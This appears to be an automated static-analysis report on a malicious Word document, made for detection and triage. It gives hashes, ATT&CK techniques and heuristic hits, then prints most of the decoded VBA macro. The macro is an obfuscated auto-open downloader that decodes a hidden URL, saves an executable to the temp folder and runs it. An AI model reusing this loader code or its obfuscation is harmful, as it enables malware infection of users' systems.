Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 671ab5cdb19f311b…

MALICIOUS

Office (OLE)

74.5 KB Created: 2014-11-24 10:12:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: 0bc08e20e1e7b850b04616a85f572296 SHA-1: fd8da97143a22a7d34ed21c08af003770570f26c SHA-256: 671ab5cdb19f311b764439481a49ba1a41c92a51acf782685b4d2d13d2a8852b
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros with AutoOpen and Workbook_Open execution markers, indicative of a malicious document. The VBA script utilizes the URLDownloadToFile API, a common technique for downloading and executing second-stage payloads. The presence of these elements strongly suggests the file's purpose is to act as a downloader for further malicious activity.

Heuristics 12

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        eFJGdsff = Shell(sUdsfsdf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        eFJGdsff = Shell(sUdsfsdf, 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        sUdsfsdf = Environ(HexToString("54454D50")) & HexToString("5C6643434864666473662E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20112 bytes
SHA-256: 88ba5fcfb4ea0d4d5334929eb8246d3615577e7e8efb8df3e734e5dfc0cc89a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
144 of 213 identifiers look randomly generated (e.g. 'eqErBlxw') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If

Sub FUHJdfg()

Dim yQWgEVSx As Integer

Dim HTkQeNVI As Integer

Dim KvCmnuyY As Integer
KvCmnuyY = 8
Do While KvCmnuyY < 66
DoEvents: KvCmnuyY = KvCmnuyY + 1
Loop

HTkQeNVI = 6
Do While HTkQeNVI < 96

Dim qjTGjKZI As Integer
qjTGjKZI = 3
Do While qjTGjKZI < 39
DoEvents: qjTGjKZI = qjTGjKZI + 1
Loop

DoEvents: HTkQeNVI = HTkQeNVI + 1

Dim fWvhmFjP As Integer
fWvhmFjP = 3
Do While fWvhmFjP < 63
DoEvents: fWvhmFjP = fWvhmFjP + 1
Loop

Loop


Dim iIzaBMwe As Integer
iIzaBMwe = 2
Do While iIzaBMwe < 51
DoEvents: iIzaBMwe = iIzaBMwe + 1
Loop

yQWgEVSx = 8
Do While yQWgEVSx < 89

Dim wVSyemTh As Integer

Dim WtYSAoJW As Integer
WtYSAoJW = 9
Do While WtYSAoJW < 35
DoEvents: WtYSAoJW = WtYSAoJW + 1
Loop

wVSyemTh = 2
Do While wVSyemTh < 59

Dim zflDOalB As Integer
zflDOalB = 8
Do While zflDOalB < 23
DoEvents: zflDOalB = zflDOalB + 1
Loop

DoEvents: wVSyemTh = wVSyemTh + 1

Dim yKsfDCiz As Integer
yKsfDCiz = 2
Do While yKsfDCiz < 81
DoEvents: yKsfDCiz = yKsfDCiz + 1
Loop

Loop


Dim daVhWGPy As Integer
daVhWGPy = 3
Do While daVhWGPy < 12
DoEvents: daVhWGPy = daVhWGPy + 1
Loop

DoEvents: yQWgEVSx = yQWgEVSx + 1

Dim sixjERXY As Integer

Dim vIaunYfl As Integer
vIaunYfl = 3
Do While vIaunYfl < 81
DoEvents: vIaunYfl = vIaunYfl + 1
Loop

sixjERXY = 3
Do While sixjERXY < 94

Dim YSpczAzE As Integer
YSpczAzE = 6
Do While YSpczAzE < 12
DoEvents: YSpczAzE = YSpczAzE + 1
Loop

DoEvents: sixjERXY = sixjERXY + 1

Dim PjeVycHY As Integer
PjeVycHY = 5
Do While PjeVycHY < 55
DoEvents: PjeVycHY = PjeVycHY + 1
Loop

Loop


Dim lhiYwDfi As Integer
lhiYwDfi = 2
Do While lhiYwDfi < 25
DoEvents: lhiYwDfi = lhiYwDfi + 1
Loop

Loop


Dim KmfaCzHl As Integer

Dim XVsgOszo As Integer
XVsgOszo = 7
Do While XVsgOszo < 72
DoEvents: XVsgOszo = XVsgOszo + 1
Loop

KmfaCzHl = 8
Do While KmfaCzHl < 66

Dim ramTquJl As Integer
ramTquJl = 1
Do While ramTquJl < 82
DoEvents: ramTquJl = ramTquJl + 1
Loop

DoEvents: KmfaCzHl = KmfaCzHl + 1

Dim waxxLGei As Integer
waxxLGei = 2
Do While waxxLGei < 51
DoEvents: waxxLGei = waxxLGei + 1
Loop

Loop


Dim JbGrBwgr As Integer
JbGrBwgr = 6
Do While JbGrBwgr < 95
DoEvents: JbGrBwgr = JbGrBwgr + 1
Loop

pHJgdsf
End Sub
Sub AutoOpen()

Dim GIppUgiy As Integer

Dim XXcfDXsL As Integer

Dim OxTHiUwd As Integer
OxTHiUwd = 5
Do While OxTHiUwd < 46
DoEvents: OxTHiUwd = OxTHiUwd + 1
Loop

XXcfDXsL = 9
Do While XXcfDXsL < 33

Dim ljyFJNtW As Integer
ljyFJNtW = 2
Do While ljyFJNtW < 25
DoEvents: ljyFJNtW = ljyFJNtW + 1
Loop

DoEvents: XXcfDXsL = XXcfDXsL + 1

Dim xMBgWXLC As Integer
xMBgWXLC = 5
Do While xMBgWXLC < 83
DoEvents: xMBgWXLC = xMBgWXLC + 1
Loop

Loop


Dim lsEKqLvV As Integer
lsEKqLvV = 2
Do While lsEKqLvV < 52
DoEvents: lsEKqLvV = lsEKqLvV + 1
Loop

GIppUgiy = 6
Do While GIppUgiy < 96

Dim ZogViltY As Integer

Dim fWntkBnT As Integer
fWntkBnT = 1
Do While fWntkBnT < 48
DoEvents: fWntkBnT = fWntkBnT + 1
Loop

ZogViltY = 6
Do While ZogViltY < 96

Dim OlKQcYSA As Integer
OlKQcYSA = 5
Do While OlKQcYSA < 17
DoEvents: OlKQcYSA = OlKQcYSA + 1
Loop

DoEvents: ZogViltY = ZogViltY + 1

Dim gFeLONwa As Integer
gFeLONwa = 3
Do While gFeLONwa < 34
DoEvents: gFeLONwa = gFeLONwa + 1
Loop

Loop


Dim drDuCtZw As Integer
drDuCtZw = 1
Do While drDuCtZw < 93
DoEvents: drDuCtZw = drDuCtZw + 1
Loop

DoEvents: GIppUgiy = GIppUgiy + 1

Dim YDivsgLI As Integer

Dim GDUAwElg As Integer
GDUAwElg = 8
Do While GDUAwElg < 22
DoEvents: GDUAwElg = GDUAwElg + 1
Loop

YDivsgLI = 4
Do While YDivsgLI < 49

Dim SekGOIbI As Integer
SekGOIbI = 7
Do While SekGOIbI < 24
DoEvents: SekGOIbI = SekGOIbI + 1
Loop

DoEvents: YDivsgLI = YDivsgLI + 1

Dim llBsgtmg As Integer
llBsgtmg = 2
Do While llBsgtmg < 25
DoEvents: llBsgtmg = llBsgtmg + 1
Loop

Loop


Dim EeJHuWBm As Integer
EeJHuWBm = 6
Do While EeJHuWBm < 43
DoEvents: EeJHuWBm = EeJHuWBm + 1
Loop

Loop


Dim DXMnluwD As Integer

Dim SzlUqHPM As Integer
SzlUqHPM = 7
Do While SzlUqHPM < 53
DoEvents: SzlUqHPM = SzlUqHPM + 1
Loop

DXMnluwD = 5
Do While DXMnluwD < 52

Dim simAYlSQ As Integer
simAYlSQ = 3
Do While simAYlSQ < 37
DoEvents: simAYlSQ = simAYlSQ + 1
Loop

DoEvents: DXMnluwD = DXMnluwD + 1

Dim tCGBwbLC As Integer
tCGBwbLC = 2
Do While tCGBwbLC < 54
DoEvents: tCGBwbLC = tCGBwbLC + 1
Loop

Loop


Dim ReHLJzWF As Integer
ReHLJzWF = 6
Do While ReHLJzWF < 95
DoEvents: ReHLJzWF = ReHLJzWF + 1
Loop

    FUHJdfg
End Sub
Sub Workbook_Open()

Dim vTcyQREG As Integer

Dim yDOluHAr As Integer

Dim UIZBIyXM As Integer
UIZBIyXM = 7
Do While UIZBIyXM < 48
DoEvents: UIZBIyXM = UIZBIyXM + 1
Loop

yDOluHAr = 8
Do While yDOluHAr < 37

Dim iUyKmLSq As Integer
iUyKmLSq = 2
Do While iUyKmLSq < 98
DoEvents: iUyKmLSq = iUyKmLSq + 1
Loop

DoEvents: yDOluHAr = yDOluHAr + 1

Dim axbhpBLx As Integer
axbhpBLx = 8
Do While axbhpBLx < 24
DoEvents: axbhpBLx = axbhpBLx + 1
Loop

Loop


Dim zlLHDNHQ As Integer
zlLHDNHQ = 8
Do While zlLHDNHQ < 47
DoEvents: zlLHDNHQ = zlLHDNHQ + 1
Loop

vTcyQREG = 5
Do While vTcyQREG < 38

Dim gJKOIQhg As Integer

Dim gMAqALEs As Integer
gMAqALEs = 3
Do While gMAqALEs < 73
DoEvents: gMAqALEs = gMAqALEs + 1
Loop

gJKOIQhg = 1
Do While gJKOIQhg < 72

Dim hGMQrMnn As Integer
hGMQrMnn = 3
Do While hGMQrMnn < 72
DoEvents: hGMQrMnn = hGMQrMnn + 1
Loop

DoEvents: gJKOIQhg = gJKOIQhg + 1

Dim xWLGJFjR As Integer
xWLGJFjR = 2
Do While xWLGJFjR < 21
DoEvents: xWLGJFjR = xWLGJFjR + 1
Loop

Loop


Dim cJdhmGdL As Integer
cJdhmGdL = 2
Do While cJdhmGdL < 21
DoEvents: cJdhmGdL = cJdhmGdL + 1
Loop

DoEvents: vTcyQREG = vTcyQREG + 1

Dim kwQpSUrk As Integer

Dim WoqbIvPe As Integer
WoqbIvPe = 6
Do While WoqbIvPe < 12
DoEvents: WoqbIvPe = WoqbIvPe + 1
Loop

kwQpSUrk = 4
Do While kwQpSUrk < 41

Dim WtRNsbYk As Integer
WtRNsbYk = 7
Do While WtRNsbYk < 11
DoEvents: WtRNsbYk = WtRNsbYk + 1
Loop

DoEvents: kwQpSUrk = kwQpSUrk + 1

Dim eqErBlxw As Integer
eqErBlxw = 1
Do While eqErBlxw < 84
DoEvents: eqErBlxw = eqErBlxw + 1
Loop

Loop


Dim talMXcYH As Integer
talMXcYH = 2
Do While talMXcYH < 26
DoEvents: talMXcYH = talMXcYH + 1
Loop

Loop


Dim DBUZvqri As Integer

Dim pwyFFgBz As Integer
pwyFFgBz = 9
Do While pwyFFgBz < 96
DoEvents: pwyFFgBz = pwyFFgBz + 1
Loop

DBUZvqri = 5
Do While DBUZvqri < 52

Dim DedqKHeW As Integer
DedqKHeW = 5
Do While DedqKHeW < 53
DoEvents: DedqKHeW = DedqKHeW + 1
Loop

DoEvents: DBUZvqri = DBUZvqri + 1

Dim iOBhGltE As Integer
iOBhGltE = 2
Do While iOBhGltE < 51
DoEvents: iOBhGltE = iOBhGltE + 1
Loop

Loop


Dim VQhevYYi As Integer
VQhevYYi = 7
Do While VQhevYYi < 17
DoEvents: VQhevYYi = VQhevYYi + 1
Loop

    FUHJdfg
End Sub
Sub pHJgdsf()

Dim ocijoVqR As Integer

Dim muaNpILj As Integer

Dim esccODLm As Integer
esccODLm = 1
Do While esccODLm < 18
DoEvents: esccODLm = esccODLm + 1
Loop

muaNpILj = 4
Do While muaNpILj < 85

Dim MfFqkamV As Integer
MfFqkamV = 6
Do While MfFqkamV < 65
DoEvents: MfFqkamV = MfFqkamV + 1
Loop

DoEvents: muaNpILj = muaNpILj + 1

Dim alDftWqz As Integer
alDftWqz = 1
Do While alDftWqz < 48
DoEvents: alDftWqz = alDftWqz + 1
Loop

Loop


Dim LmoPQjgB As Integer
LmoPQjgB = 9
Do While LmoPQjgB < 38
DoEvents: LmoPQjgB = LmoPQjgB + 1
Loop

ocijoVqR = 9
Do While ocijoVqR < 58

Dim eyyIbBjL As Integer

Dim GMVnTZGM As Integer
GMVnTZGM = 5
Do While GMVnTZGM < 98
DoEvents: GMVnTZGM = GMVnTZGM + 1
Loop

eyyIbBjL = 8
Do While eyyIbBjL < 21

Dim LjcRKADp As Integer
LjcRKADp = 6
Do While LjcRKADp < 13
DoEvents: LjcRKADp = LjcRKADp + 1
Loop

DoEvents: eyyIbBjL = eyyIbBjL + 1

Dim gKTVpiaB As Integer
gKTVpiaB = 3
Do While gKTVpiaB < 11
DoEvents: gKTVpiaB = gKTVpiaB + 1
Loop

Loop


Dim lhtawuNg As Integer
lhtawuNg = 4
Do While lhtawuNg < 25
DoEvents: lhtawuNg = lhtawuNg + 1
Loop

DoEvents: ocijoVqR = ocijoVqR + 1

Dim uOBoEWtW As Integer

Dim wrrtupiJ As Integer
wrrtupiJ = 5
Do While wrrtupiJ < 85
DoEvents: wrrtupiJ = wrrtupiJ + 1
Loop

uOBoEWtW = 2
Do While uOBoEWtW < 98

Dim FXSvCWEL As Integer
FXSvCWEL = 8
Do While FXSvCWEL < 23
DoEvents: FXSvCWEL = FXSvCWEL + 1
Loop

DoEvents: uOBoEWtW = uOBoEWtW + 1

Dim QhuGvKpS As Integer
QhuGvKpS = 5
Do While QhuGvKpS < 55
DoEvents: QhuGvKpS = QhuGvKpS + 1
Loop

Loop


Dim kZVbLgrb As Integer
kZVbLgrb = 1
Do While kZVbLgrb < 17
DoEvents: kZVbLgrb = kZVbLgrb + 1
Loop

Loop


Dim ZojHOAjJ As Integer

Dim TBzoaqru As Integer
TBzoaqru = 6
Do While TBzoaqru < 42
DoEvents: TBzoaqru = TBzoaqru + 1
Loop

ZojHOAjJ = 6
Do While ZojHOAjJ < 34

Dim sdLLwICM As Integer
sdLLwICM = 3
Do While sdLLwICM < 94
DoEvents: sdLLwICM = sdLLwICM + 1
Loop

DoEvents: ZojHOAjJ = ZojHOAjJ + 1

Dim oElLMSyu As Integer
oElLMSyu = 9
Do While oElLMSyu < 36
DoEvents: oElLMSyu = oElLMSyu + 1
Loop

Loop


Dim HSYKIssa As Integer
HSYKIssa = 6
Do While HSYKIssa < 22
DoEvents: HSYKIssa = HSYKIssa + 1
Loop

    pGhdsffd = HexToString(StrReverse("568756E2E69626F237A6F25626E2C656D6D6F646E2776766F2F2A307474786"))
Dim VYKnOiZW As Integer

Dim EzMRNZsf As Integer

Dim ZlsZaHTR As Integer
ZlsZaHTR = 3
Do While ZlsZaHTR < 36
DoEvents: ZlsZaHTR = ZlsZaHTR + 1
Loop

EzMRNZsf = 4
Do While EzMRNZsf < 94

Dim cCIKlzoq As Integer
cCIKlzoq = 2
Do While cCIKlzoq < 22
DoEvents: cCIKlzoq = cCIKlzoq + 1
Loop

DoEvents: EzMRNZsf = EzMRNZsf + 1

Dim mfiLJykx As Integer
mfiLJykx = 4
Do While mfiLJykx < 86
DoEvents: mfiLJykx = mfiLJykx + 1
Loop

Loop


Dim EdDvDrkF As Integer
EdDvDrkF = 3
Do While EdDvDrkF < 73
DoEvents: EdDvDrkF = EdDvDrkF + 1
Loop

VYKnOiZW = 9
Do While VYKnOiZW < 92

Dim NAssyocp As Integer

Dim iPPQFITz As Integer
iPPQFITz = 9
Do While iPPQFITz < 37
DoEvents: iPPQFITz = iPPQFITz + 1
Loop

NAssyocp = 1
Do While NAssyocp < 49

Dim jQpIDcrN As Integer
jQpIDcrN = 1
Do While jQpIDcrN < 71
DoEvents: jQpIDcrN = jQpIDcrN + 1
Loop

DoEvents: NAssyocp = NAssyocp + 1

Dim fzPIsZsd As Integer
fzPIsZsd = 3
Do While fzPIsZsd < 36
DoEvents: fzPIsZsd = fzPIsZsd + 1
Loop

Loop


Dim VJUWhCia As Integer
VJUWhCia = 7
Do While VJUWhCia < 71
DoEvents: VJUWhCia = VJUWhCia + 1
Loop

DoEvents: VYKnOiZW = VYKnOiZW + 1

Dim TXxlkZuO As Integer

Dim TVriKcdz As Integer
TVriKcdz = 6
Do While TVriKcdz < 94
DoEvents: TVriKcdz = TVriKcdz + 1
Loop

TXxlkZuO = 4
Do While TXxlkZuO < 41

Dim hDamXLiJ As Integer
hDamXLiJ = 4
Do While hDamXLiJ < 72
DoEvents: hDamXLiJ = hDamXLiJ + 1
Loop

DoEvents: TXxlkZuO = TXxlkZuO + 1

Dim ehzkyuOd As Integer
ehzkyuOd = 8
Do While ehzkyuOd < 85
DoEvents: ehzkyuOd = ehzkyuOd + 1
Loop

Loop


Dim zcdEQxRy As Integer
zcdEQxRy = 1
Do While zcdEQxRy < 86
DoEvents: zcdEQxRy = zcdEQxRy + 1
Loop

Loop


Dim gHChaXHk As Integer

Dim oUVDfABV As Integer
oUVDfABV = 2
Do While oUVDfABV < 98
DoEvents: oUVDfABV = oUVDfABV + 1
Loop

gHChaXHk = 1
Do While gHChaXHk < 19

Dim KAvPVMIY As Integer
KAvPVMIY = 8
Do While KAvPVMIY < 82
DoEvents: KAvPVMIY = KAvPVMIY + 1
Loop

DoEvents: gHChaXHk = gHChaXHk + 1

Dim kEDYVvVx As Integer
kEDYVvVx = 4
Do While kEDYVvVx < 79
DoEvents: kEDYVvVx = kEDYVvVx + 1
Loop

Loop


Dim elPLzMLq As Integer
elPLzMLq = 1
Do While elPLzMLq < 47
DoEvents: elPLzMLq = elPLzMLq + 1
Loop

    sUdsfsdf = Environ(HexToString("54454D50")) & HexToString("5C6643434864666473662E657865")

Dim zqQzDrjC As Integer

Dim gQmmwFpm As Integer

Dim QkJsRhRf As Integer
QkJsRhRf = 5
Do While QkJsRhRf < 55
DoEvents: QkJsRhRf = QkJsRhRf + 1
Loop

gQmmwFpm = 3
Do While gQmmwFpm < 71

Dim CCyyGown As Integer
CCyyGown = 9
Do While CCyyGown < 72
DoEvents: CCyyGown = CCyyGown + 1
Loop

DoEvents: gQmmwFpm = gQmmwFpm + 1

Dim xNlzHFQj As Integer
xNlzHFQj = 2
Do While xNlzHFQj < 69
DoEvents: xNlzHFQj = xNlzHFQj + 1
Loop

Loop


Dim ORIWaUAZ As Integer
ORIWaUAZ = 4
Do While ORIWaUAZ < 86
DoEvents: ORIWaUAZ = ORIWaUAZ + 1
Loop

zqQzDrjC = 1
Do While zqQzDrjC < 46

Dim dNtIOLjG As Integer

Dim sSJPGJbo As Integer
sSJPGJbo = 3
Do While sSJPGJbo < 62
DoEvents: sSJPGJbo = sSJPGJbo + 1
Loop

dNtIOLjG = 1
Do While dNtIOLjG < 49

Dim bdZLmDAA As Integer
bdZLmDAA = 5
Do While bdZLmDAA < 86
DoEvents: bdZLmDAA = bdZLmDAA + 1
Loop

DoEvents: dNtIOLjG = dNtIOLjG + 1

Dim sGZHTaeC As Integer
sGZHTaeC = 9
Do While sGZHTaeC < 99
DoEvents: sGZHTaeC = sGZHTaeC + 1
Loop

Loop


Dim QGaNlYjW As Integer
QGaNlYjW = 5
Do While QGaNlYjW < 59
DoEvents: QGaNlYjW = QGaNlYjW + 1
Loop

DoEvents: zqQzDrjC = zqQzDrjC + 1

Dim KmhHMdNg As Integer

Dim dTmkFpbL As Integer
dTmkFpbL = 1
Do While dTmkFpbL < 46
DoEvents: dTmkFpbL = dTmkFpbL + 1
Loop

KmhHMdNg = 8
Do While KmhHMdNg < 66

Dim DYLAEGFJ As Integer
DYLAEGFJ = 5
Do While DYLAEGFJ < 86
DoEvents: DYLAEGFJ = DYLAEGFJ + 1
Loop

DoEvents: KmhHMdNg = KmhHMdNg + 1

Dim nrhDiyAl As Integer
nrhDiyAl = 5
Do While nrhDiyAl < 33
DoEvents: nrhDiyAl = nrhDiyAl + 1
Loop

Loop


Dim fbXfnxde As Integer
fbXfnxde = 3
Do While fbXfnxde < 17
DoEvents: fbXfnxde = fbXfnxde + 1
Loop

Loop


Dim GPBrikuI As Integer

Dim YxublkgQ As Integer
YxublkgQ = 4
Do While YxublkgQ < 46
DoEvents: YxublkgQ = YxublkgQ + 1
Loop

GPBrikuI = 8
Do While GPBrikuI < 58

Dim SDiAXAzn As Integer
SDiAXAzn = 5
Do While SDiAXAzn < 59
DoEvents: SDiAXAzn = SDiAXAzn + 1
Loop

DoEvents: GPBrikuI = GPBrikuI + 1

Dim DYDrtRsG As Integer
DYDrtRsG = 8
Do While DYDrtRsG < 21
DoEvents: DYDrtRsG = DYDrtRsG + 1
Loop

Loop


Dim rDinBxtz As Integer
rDinBxtz = 1
Do While rDinBxtz < 52
DoEvents: rDinBxtz = rDinBxtz + 1
Loop

    sHVUdsf = URLDownloadToFile(0&, pGhdsffd, sUdsfsdf, 0&, 0&)
   Dim eFJGdsff

Dim olveWXLz As Integer

Dim PglROAmx As Integer

Dim BgJFkDMh As Integer
BgJFkDMh = 7
Do While BgJFkDMh < 13
DoEvents: BgJFkDMh = BgJFkDMh + 1
Loop

PglROAmx = 7
Do While PglROAmx < 78

Dim gwsqdTDE As Integer
gwsqdTDE = 1
Do While gwsqdTDE < 78
DoEvents: gwsqdTDE = gwsqdTDE + 1
Loop

DoEvents: PglROAmx = PglROAmx + 1

Dim EFRFTkox As Integer
EFRFTkox = 6
Do While EFRFTkox < 64
DoEvents: EFRFTkox = EFRFTkox + 1
Loop

Loop


Dim mQjHUUCu As Integer
mQjHUUCu = 2
Do While mQjHUUCu < 29
DoEvents: mQjHUUCu = mQjHUUCu + 1
Loop

olveWXLz = 2
Do While olveWXLz < 67

Dim WBqonkBA As Integer

Dim JoSgyIZp As Integer
JoSgyIZp = 6
Do While JoSgyIZp < 64
DoEvents: JoSgyIZp = JoSgyIZp + 1
Loop

WBqonkBA = 7
Do While WBqonkBA < 72

Dim OyvjiVjW As Integer
OyvjiVjW = 4
Do While OyvjiVjW < 29
DoEvents: OyvjiVjW = OyvjiVjW + 1
Loop

DoEvents: WBqonkBA = WBqonkBA + 1

Dim sGxnvbwY As Integer
sGxnvbwY = 9
Do While sGxnvbwY < 48
DoEvents: sGxnvbwY = sGxnvbwY + 1
Loop

Loop


Dim HjNdCeST As Integer
HjNdCeST = 6
Do While HjNdCeST < 93
DoEvents: HjNdCeST = HjNdCeST + 1
Loop

DoEvents: olveWXLz = olveWXLz + 1

Dim nlxhSQIz As Integer

Dim qBTFlQeU As Integer
qBTFlQeU = 3
Do While qBTFlQeU < 92
…

Open this report in the interactive analyzer, or submit your own file for analysis.